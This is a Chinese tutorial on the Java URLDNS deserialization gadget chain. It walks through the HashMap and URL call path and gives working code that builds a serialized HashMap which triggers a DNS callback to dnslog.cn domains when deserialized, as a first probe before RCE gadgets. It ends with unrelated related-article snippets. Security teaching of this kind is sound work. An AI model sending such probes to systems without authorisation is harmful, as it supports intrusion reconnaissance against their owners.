Java代码审计13之URLDNS链

文章目录

  • 1、简介urldns链
  • 2、hashmap与url类的分析
      • 2.1、Hashmap类readObject方法的跟进
      • 2.2、URL类hashcode方法的跟进
      • 2.3、InetAddress类的getByName方法
  • 3、整个链路的分析
      • 3.1、整理上述的思路
      • 3.2、一些疑问的测试
      • 3.3、hashmap的put方法分析
      • 3.4、反射
      • 3.5、整个代码
  • 4、补充说明

1、简介urldns链

URLDNS链是java原生态的一条利用链,通常用于存在反序列化漏洞进行验证的,

因为是原生态,不存在什么版本限制。



HashMap结合URL触发DNS检查的思路。

在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行。

之后再用各种gadget去尝试试RCE。


HashMap最早出现在JDK 1.2中,底层基于散列算法实现。

而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的。

所以对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。

因此,HashMap实现了自己的writeObject和readObject方法。

因为是研究反序列化问题,所以我们来看一下它的readObject方法

2、hashmap与url类的分析

2.1、Hashmap类readObject方法的跟进

新建一个文件,写一个Hashmap,跟进去,

在这里插入图片描述

找到Hashmap的readObject方法,该方法会在Hashmap类反序列化的时候自动调用,

之前我们反序列化漏洞的demo代码就是重写这个类造成的,

在这里插入图片描述

继续向下,有一个hash(key)方法,先不管这个“key”,跟进去看看hash方法的内容,

在这里插入图片描述

从这个参数定义,可以知道这个key是一个对象,

当key不为空的情况下,就会调用key这个对象的hashcode方法,

	所以这个hashcode函数具体是哪个函数,取决于传入哪个对象

在这里插入图片描述

这里小结下先,

Hashmap.readObject	--	HashMap.hash	--	传入对象得.hashCode

2.2、URL类hashcode方法的跟进

继续新建一个url类,跟进去,也有一个hashcode方法,看下内容

在这里插入图片描述

当hashcode不等于 -1 的时候,直接返回hashcode的值,结束本函数,

跟一下hashcode变量,发现其默认值为“-1”

也就是,默认情况下会继续向下执行,不会直接返回hashcode的值,

这里比较重要,敲黑板

在这里插入图片描述

我们继续看下855行的代码“hashCode(this)”

看到这个“this”是一个url,而359行的getHostAddress函数要去解析这个url,

在这里插入图片描述

继续跟进去看下,这个主要就是调用了InetAddress类的getByName方法,

InetAddress类的getByName方法的作用是,传入host解析IP,返回ip

传入ip,则返回Ip

在这里插入图片描述

这里继续小结下,

URL.hashcode	--	URLStreamHandler.hashCode	-->	

-->  URLStreamHandler.getHostAddress	--	InetAddress.getByName

2.3、InetAddress类的getByName方法

我们来一个InetAddress类的getByName方法的demo

在这里插入图片描述

当我们不传递域名,而是直接传递IP呢

看到是直接返回了IP

在这里插入图片描述

继续,传一个错误的IP,会直接报错,

在这里插入图片描述
小结,

传入域名会解析其对应的IP,我们可以在dns的解析记录找到,

但是假设传入是IP,则没有地方可以找到受害者的解析记录(这里各位有看法,欢迎补充)

代码,

package com.example.demo2;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.UnknownHostException;
public class main {

    public static void main(String[] args) throws Exception {




                try {
                    InetAddress address = InetAddress.getByName("www.baidu.com");
                    System.out.println("IP地址: " + address.getHostAddress());
                } catch (UnknownHostException e) {
                    e.printStackTrace();
                }

3、整个链路的分析

3.1、整理上述的思路

由上面总结就可以知道,Hashmap类在反序列化的时候,会调用传入对象的hashcode方法。

而url类的hashcode方法会解析dns对应的IP;

所以整个链接就是,
Hashmap.readObject	--	HashMap.hash	-->
	
--> URL.hashcode(传入对象)  -->	URLStreamHandler.hashCode	-->

--> URLStreamHandler.getHostAddress	--	InetAddress.getByName

由上面的结果推导出,最常见的触发demo代码,
    package com.example.demo2;

    import java.net.MalformedURLException;
    import java.net.URL;
    import java.util.HashMap;

    public class dns_hashmap {
        public static void main(String[] args) throws MalformedURLException {
            HashMap<URL,Integer> hashmap = new HashMap<>();
            URL url = new URL("http://dd.l3eqkh.dnslog.cn/aa");
            System.out.println(url);
            System.out.println(url.getClass());
            hashmap.put(url,2);
        }
    }

根据上边的“2.3得”分析,我们知道传入ip的话,会直接返回ip,不会请求,

传入域名的话,会有一个请求域名解析对应IP的情况;这个demo代码也测试了下,情况和上边的一样

(这也有点多余,本质上层也是调用的底层;但是觉得还是有可能,还是试了试)

3.2、一些疑问的测试

这里还一个疑问是,10行的url是什么类型,他的值是什么,

经过输出,这个url是一个类,其值就是一个“字符串”,

但是不能直接在put方法的第一个参数传入一个字符串,原因在右边的图,

	这个key的值是Object类型的(Object是Java所有类的根类;class java.net.URL可以说是其子类)

	假设传入的url是一个字符串会直接报错,这就不演示了

在这里插入图片描述

3.3、hashmap的put方法分析

简单的跟一下就明白,

这个key就是上边的url类,内容是定义url类构造方法定义的url

到下图的339行,就调用了url的hashcode方法,进而会解析传入域名对应的ip,

在这里插入图片描述

3.4、反射

一个问题是,我们在序列化的过程中,会因为执行put方法,进而去解析一边域名对应的ip,

这样后续的反序列化就不会再次触发解析请求了(会直接读取序列化过程的缓存)

ps:

其实不用反序列化,下边的demo代码,多次执行的化,也仅仅在第一次有请求,原因同上。

在这里插入图片描述
代码,

    package com.example.demo2;

    import java.io.FileNotFoundException;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.ObjectOutputStream;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.util.HashMap;

    public class dns_hashmap {
        public static void main(String[] args) throws IOException {
            HashMap<URL,Integer> hashmap = new HashMap<>();
            URL url = new URL("http://ee11.n5hfdu.dnslog.cn/aa");
            System.out.println(url);
            System.out.println(url.getClass());
            hashmap.put(url,2);
            Serialize(hashmap);

        }

        private static void Serialize(Object obj) throws IOException {
            ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
            InputStream.writeObject(obj);
            InputStream.close();
        }
    }

为了不让java程序在序列化的过程去解析域名,仅仅在反序列化的时候解析,

我们可以通过反射技术来实现。

具体而言,就是在上述“2.2”的分析中,我们说

“当hashcode不等于 -1 的时候,直接返回hashcode的值”不会继续向下执行域名解析

而hashcode默认又是-1,所以可以通过反射给hashcode变量设置一个不为“-1”的任意值,

即可让代码在序列化的时候,不继续执行域名的解析。


具体代码如下:

            HashMap<URL,Integer> hashmap =new HashMap<>();
            URL url = new URL("http://a.9v0wib.dnslog.cn");

            Class c = url.getClass();
				、、获取URL类,这里是根据已经实例化的url对象获取,保存到c中。
				、、具体来说,c是URL类的Class对象。

            Field fieldhashcode=c.getDeclaredField("hashCode");
				、、获取url类中对应的hashcode函数,保存到fieldhashcode中。
				、、具体来说,fieldhashcode是一个Field对象,它代表了URL类中名为"hashCode"的字段

            fieldhashcode.setAccessible(true);
				、、需要修改的hashcode变量是私有的(默认不可访问),设置Field对象的可访问性为true,就可以修改了


            fieldhashcode.set(url,222);         
				、、将hashcode的值由默认的“-1”改为任意值,这里是222
				、、这样第一次运行的时候,就不会解析传入域名的ip了

            hashmap.put(url,2);
				、、正常需要触发的函数,

            fieldhashcode.set(url,-1);
				、、在反序列化之前,在次将上边修改的hashcode值恢复默认,让其在反序列化时再次触发域名解析

            Serialize(hashmap);

3.5、整个代码

先把24行的反序列化注释,

第一次运行就是序列化生成“ser.txt”文件;此时不会产生dns记录,

再把12~22注释,24行反序列化解开,

第二次运行,反序列化执行,解析域名产生记录,
    package com.example.demo2;

    import java.io.*;
    import java.lang.reflect.Field;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.util.HashMap;

    public class dns_hashmap {
        public static void main(String[] args) throws Exception {

            HashMap<URL,Integer> hashmap =new HashMap<>();
            URL url = new URL("http://a.9v0wib.dnslog.cn");

            Class c = url.getClass();
            Field fieldhashcode=c.getDeclaredField("hashCode");
            fieldhashcode.setAccessible(true);
            fieldhashcode.set(url,222);         //第一次查询的时候会进行缓存,所以让它不等于-1

            hashmap.put(url,2);
            fieldhashcode.set(url,-1);          //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
            Serialize(hashmap);

//            unserialize();
        }


        private static void Serialize(Object obj) throws IOException {
            ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
            InputStream.writeObject(obj);
            InputStream.close();
        }


        public static void unserialize() throws IOException, ClassNotFoundException
        {
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.txt"));
            ois.readObject();
            ois.close();
        }

    }

4、补充说明

URLDNS是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利⽤链”。

因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,

其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。但是它有以下优点:

		使用Java内置的类构造,对第三方库没有依赖
		
		在目标没有回显的时候,能够通过DNS来判断是否存在反序列化漏洞

我们可以通过这条链很容易判断是否存在反序列化漏洞,

然后再去寻找可以命令执行的利用链

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/83942.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

深度学习基本理论上篇:(MLP/激活函数/softmax/损失函数/梯度/梯度下降/学习率/反向传播)、深度学习面试

1、MLP、FCN、DNN三者的关系&#xff1f; 多层感知器MLP&#xff0c;全连接网络&#xff0c;DNN三者的关系&#xff1f;三者是不是同一个概念&#xff1f; FCN&#xff1a;Fully Connected Neural Network&#xff0c;全连接神经网络&#xff0c;也称为密集连接神经网络&#…

小白到运维工程师自学之路 第七十八集 (安装Jenkins)

一、环境概述 随着软件开发需求及复杂度的不断提高&#xff0c;团队开发成员之间如何更好地协同工作以确保软件开发的质量已经慢慢成为开发过程中不可回避的问题。Jenkins自动化部署可以解决集成、测试、部署等重复性的工作&#xff0c;工具集成的效率明显高于人工操作&#xf…

【私有GPT】CHATGLM-6B部署教程

【私有GPT】CHATGLM-6B部署教程 CHATGLM-6B是什么&#xff1f; ChatGLM-6B是清华大学知识工程和数据挖掘小组&#xff08;Knowledge Engineering Group (KEG) & Data Mining at Tsinghua University&#xff09;发布的一个开源的对话机器人。根据官方介绍&#xff0c;这是…

【AWS】创建IAM用户;无法登录IAM用户怎么办?错误提示:您的身份验证信息错误,请重试(已解决)

目录 0.背景问题分析 1.解决步骤 0.背景问题分析 windows 11 &#xff0c;64位 我的问题情景&#xff1a; 首先我创建了aws的账户&#xff0c;并且可以用ROOT用户登录&#xff0c;但是在登录时选择IAM用户&#xff0c;输入ROOT的名字和密码&#xff0c;就会提示【您的身份验证…

SQL 盲注

问题描述&#xff1a; 解决方案&#xff1a; 通过建立过滤器方法 添加拦截器&#xff1a; web.xml 文件配置拦截器 <filter><filter-name>sqlFilter</filter-name><filter-class>com.fh.filter.SqlFilter</filter-class></filter> pack…

【Python机器学习】实验15 将Lenet5应用于Cifar10数据集(PyTorch实现)

文章目录 CIFAR10数据集介绍1. 数据的下载2.修改模型与前面的参数设置保持一致3. 新建模型4. 从数据集中分批量读取数据5. 定义损失函数6. 定义优化器7. 开始训练8.测试模型 9. 手写体图片的可视化10. 多幅图片的可视化 思考题11. 读取测试集的图片预测值&#xff08;神经网络的…

GPT-3.5——从 人工智障 到 大人工智障

有人说&#xff0c;GPT是从人工智障到人工智能的蜕变&#xff0c;但是。。。 我认为&#xff0c;GPT是从 人工智障 到 大人工智障 的退化。。。 从 人工智障 到 大人工智障 GPT-3.5学术介绍No.1---- 西红柿炒钢丝球基本信息详细制作方法材料步骤 幕后花絮 No.2---- 顶尖数学家…

vue3学习笔记

1.创建项目 2. 3.setup 4. 5. 6. 7.生命周期函数 8. 9. 10. 11. 12.pinia

TCP拥塞控制详解 | 6. 主动队列管理

网络传输问题本质上是对网络资源的共享和复用问题&#xff0c;因此拥塞控制是网络工程领域的核心问题之一&#xff0c;并且随着互联网和数据中心流量的爆炸式增长&#xff0c;相关算法和机制出现了很多创新&#xff0c;本系列是免费电子书《TCP Congestion Control: A Systems …

QT的工程文件认识

目录 1、QT介绍 2、QT的特点 3、QT模块 3.1基本模块 3.2扩展模块 4、QT工程创建 1.选择应用的窗体格式 2.设置工程的名称与路径 3.设置类名 4.选择编译器 5、QT 工程解析 xxx.pro 工程配置 xxx.h 头文件 main.cpp 主函数 xxx.cpp 文件 6、纯手工创建一个QT 工程…

从Web 2.0到Web 3.0,互联网有哪些变革?

文章目录 Web 2.0时代&#xff1a;用户参与和社交互动Web 3.0时代&#xff1a;语义化和智能化影响和展望 &#x1f389;欢迎来到Java学习路线专栏~从Web 2.0到Web 3.0&#xff0c;互联网有哪些变革&#xff1f; ☆* o(≧▽≦)o *☆嗨~我是IT陈寒&#x1f379;✨博客主页&#x…

springboot多模块打包方式

明确子父模块结构 父目录是带modules 大致结构如下&#xff1a; <modules><module>ruoyi-admin</module><module>ruoyi-framework</module><module>ruoyi-system</module><module>ruoyi-quartz</module><module>…

解决出海痛点:亚马逊云科技助力智能涂鸦,实现设备互联互通

今年6月&#xff0c;《财富》&#xff08;中文版&#xff09;发布“2023年值得关注的中国出海主力”盘点&#xff0c;在七个赛道中聚焦不断开拓新领域、影响力与日俱增的出海企业。涂鸦智能顺利入选&#xff0c;作为一家全球化公司&#xff0c;相比于产品直接到海外销售的传统出…

android cocoscreator 检测模拟器还是真机

转载至 一行代码帮你检测Android模拟器 具体原理看原博主文章&#xff0c;这里只讲cocoscreator3.6的安卓工程怎么使用 1.新建一个com.lahm.library包&#xff0c;和com.cocos.game同目录&#xff0c;如图示 那四个文件的代码如下&#xff1a; EmulatorCheckUtil类&#…

PostgreSQL中的密码验证方法

假设您想在客户端/服务器协议中实现密码身份验证方法。 您将如何做到这一点以及可能出现的问题是什么&#xff1f; 以下是 PostgreSQL 中如何完成此操作的故事。 password 一开始&#xff0c;PostgreSQL 只有 pg_hba.conf 中现在称为“password”的方法。 这是你能想象到的最…

Spring Boot实现IP地址解析

一、本地解析 如果使用本地ip解析的话&#xff0c;我们将会借助ip2region&#xff0c;该项目维护了一份较为详细的本地ip地址对应表&#xff0c;如果为了离线环境的使用&#xff0c;需要导入该项目依赖&#xff0c;并指定版本&#xff0c;不同版本的方法可能存在差异。 <d…

防火墙firewall

一、什么是防火墙 二、iptables 1、iptables介绍 2、实验 138的已经被拒绝&#xff0c;1可以 三、firewalld 1、firewalld简介 关闭iptables&#xff0c;开启firewalld&#xff0c;curl不能使用&#xff0c;远程连接ssh可以使用 添加80端口 这样写也可以&#xff1a;添加http…

打家劫舍 II——力扣213

动规 int robrange(vector<int>& nums, int start, int end){int first=nums[start]

开源数据库Mysql_DBA运维实战 (总结)

开源数据库Mysql_DBA运维实战 &#xff08;总结&#xff09; SQL语句都包含哪些类型 DDL DCL DML DQL Yum 安装MySQL的配置文件 配置文件&#xff1a;/etc/my.cnf日志目录&#xff1a;/var/log/mysqld.log错误日志&#xff1a;/var/log/mysql/error.log MySQL的主从切换 查看主…

FairyGUI编辑器自定义菜单扩展插件

本文涉及到的软件有&#xff1a;FairyGUI&#xff0c;VSCode 代码环境涉及到了&#xff1a;Lua VSCode插件&#xff1a;EmmyLua 在编写FairyGUI编辑器菜单前&#xff0c;了解一下FairyGUIEditor的API会有效的帮助我们解决很多问题。FairyGUI的扩展是通过编辑器自带的插件功能…